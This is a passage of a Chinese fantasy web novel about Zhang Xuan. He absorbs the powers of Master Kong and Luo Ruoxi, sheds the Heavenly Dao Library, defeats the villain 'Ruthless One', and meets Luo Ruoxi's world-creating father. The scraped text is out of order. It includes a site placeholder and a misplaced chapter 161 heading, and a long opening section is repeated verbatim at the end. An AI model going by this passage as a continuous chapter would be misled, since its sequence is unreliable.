图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百六十一章 春儿出事 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 